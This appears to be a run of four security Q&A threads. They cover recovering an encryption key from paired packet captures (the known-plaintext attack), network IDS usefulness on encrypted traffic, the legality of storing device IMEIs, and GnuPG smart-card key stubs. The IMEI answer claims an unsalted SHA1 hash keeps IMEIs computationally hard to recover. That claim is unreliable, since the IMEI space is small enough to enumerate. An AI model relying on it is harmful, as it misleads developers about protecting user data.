There exists another packet sniffer for this purpose, which not only records the packets but also decodes it in to a readable format, which is what i want.
An example of that is:

00 01 10 00 0B 50 64 DA B7 86 00 00 17 80 00 00 80 64 FF 64 00 00

Where the start, 00 01 is the id, and 0B 50, 64-DA and B7 86 are coordinates. And this string is equivalent to the first example i posted, it is recorded from the same place and in the same way, only thing that isnt the same is the time it was recorded, which I do not believe is an issue here.

And i have many other recordings by the already working packet sniffer and my own packet sniffer which are equivalent.

Now here comes the question, is there anyway i can figure out the decrytion key by comparing the strings i have from both parsers?

Or is it only possible by trying to brute force the key?

Or is there some other way that this can be done?

Heres a list of more recordings from my sniffer and the already working one(You can tell them apart by the - between each hexadecimal, where my recordings have the -):

00 01 07 80 64 80 04 00 64 04 64 64

28-A0-D0-D3-00-19-CA-BE-00-0C-51-E9-B6-5E-6F-6A-D5-A1-5F-2A-F8-5B-67-15-CF

00 01 10 00 0B 50 64 DA B7 86 00 00 17 80 00 00 80 64 FF 64 00 00

28-A0-D0-D3-00-23-AA-E8-00-16-79-1E-4D-EC-D7-A0-AE-1B-8C-2A-F3-DE-43-BF-09-B2-E9-EA-CD-3C-85-FD-9C-41-07

00 01 07 80 64 80 04 00 64 04 64 64

28-A0-D0-D3-00-19-F9-F5-00-0C-51-EB-35-37-B3-58-E3-A1-5F-2A-F8-5B-67-15-CF

00 01 10 00 0B 50 64 DA B7 86 00 00 17 80 00 00 80 64 FF 64 00 00

28-A0-D0-D3-00-23-0F-96-00-16-79-10-52-19-30-28-34-9D-70-AA-C7-89-43-BF-09-B2-E9-EA-CD-3C-85-FD-9C-41-07

What you are describing is called a known plaintext attack, and, from the Wikipedia:

  Modern ciphers such as Advanced Encryption Standard are not currently
  known to be susceptible to known-plaintext attacks.

So no, having many plaintext and ciphertext pairs won't help you decrypt unknown ciphertexts (unless an old algorithm was used to encrypt the text).


Where are IDS useful today? An IDS detects suspicious activities via patterns in the analyzed traffic. Most of the traffic I deal with is encrypted (either HTTPS or proprietary, like SMB). It cannot be decrypted for analysis for legal reasons.

I am looking for examples of environments where a network-based IDS can still be useful when most of the traffic is encrypted?

Regarding SSL: SSL Termination may happen before the IDS looks at the traffic. Just because a webserver is capable of handling SSL/TLS doesn't mean that it has to be done at the webserver. There might be a machine at your network border which encrypts and decrypts SSL traffic.

Apart from that, an IDS isn't limited to individual network streams. It might record all traffic and build statistics about what is considered normal. Then if traffic flows suddenly change, for example if the distribution of source adresses changes significantly, or traffic volume massively increases, or there is suddenly traffic between machines that never communicated before, or any other pattern you can think of changes, it might alert humans. This can all be done without looking at the traffic payloads; looking at the TCP/IP header and the traffic volume and timing is enough for this kind of analysis.


Is it legal to store/send user's device's IMEI/MEID? I'm working on an Android application with a "ban-system". The customer suggested using devices' IMEI/MEID as identifier and asked me about legal issues about that.

Is it legal to store/send user's device IMEI/MEID, or is there any reliable source where I can find legal specifications about it?

Note: This application will be used for a control-access in Spain, but with worldwide devices. I mean, people using it could come from any country

As this is a legal question, the usual IANAL disclaimer applies.

In the UK, at least, it is completely legal to store the IMEI number of a mobile device. I can't imagine it being any different for Spain, because an IMEI isn't personal data, it's a device serial number. However, you may come under scrutiny if you later have a breach that leaks the IMEI number attached to personal data (e.g. name, address) because that data would allow an attacker to sniff cell traffic and discover that a person is within the cell tower's range.

If you're just implementing a banning system, why not hash the IMEI with a cryptographic hash algorithm such as SHA1? It doesn't need salting, since the keyspace is large enough to prevent dictionary attacks anyway. That way, if a breach does occur, the IMEIs are computationally difficult to discover.


PGP key on smart card: why do I need a "secret key" on disk? I have a YubiKey NEO on which I have the OpenPGP applet and I have a PGP key installed. I work on 3 different computers and I initialized the card on computer bob. I'm now at computer rob. Someone sent me an encrypted file, so I put in my YubiKey NEO and ran gpg --decrypt.

I got the following output:

gpg: encrypted with RSA key, ID DEADBEEF
gpg: decryption failed: secret key not available

Okay, so maybe I need to install my PGP public key here. I did that, and then got:

gpg: decryption failed: secret key not available

I then SSH'd into bob from rob and ran gpg --list-secret-keys and lo-and-behold:

sec>  2048R/DEADDEAD 2015-02-31
      Card serial no. = 0000 12345678
uid                  Naftuli Tzvi Kay <canhas@spam.com>
ssb>  2048R/BEEFBEEF 2015-02-31
ssb>  2048R/DEADBEEF 2015-02-31

What in the heck? I copied this "key" over from bob to rob and now things work, and yet I still need to enter my PIN for my PGP key.

When I created the key, I never imported it to disk so it should only exist on the card. Why does a secret key exist on disk(!) if the secret key isn't supposed to be anywhere but the smart card?

This is not actually the secret key, but a kind of stub referencing the one on your card. This stub contains pretty much all "metadata" of your private key (including the public key belonging to it), but the actual private key is only stored on your card (and never leaves it).

This is important, as the card only stores the actual key (and performs basic cryptographic operations with those), but not other meta information like creation date, usage flags, user IDs etc.

(Reading up the specifications again, I realized this was wrong. The cards store the key's fingerprint and creation time.)

This key stub helps GnuPG managing the keys, and lets it look for a card / ask for the card if necessary. As the fingerprint of the public key is stored on the card, the private "stub" key can be easily regenerated if the public key is available. GnuPG makes this easy by running the fetch command in the --card-edit menu, which queries the key server network for the public key.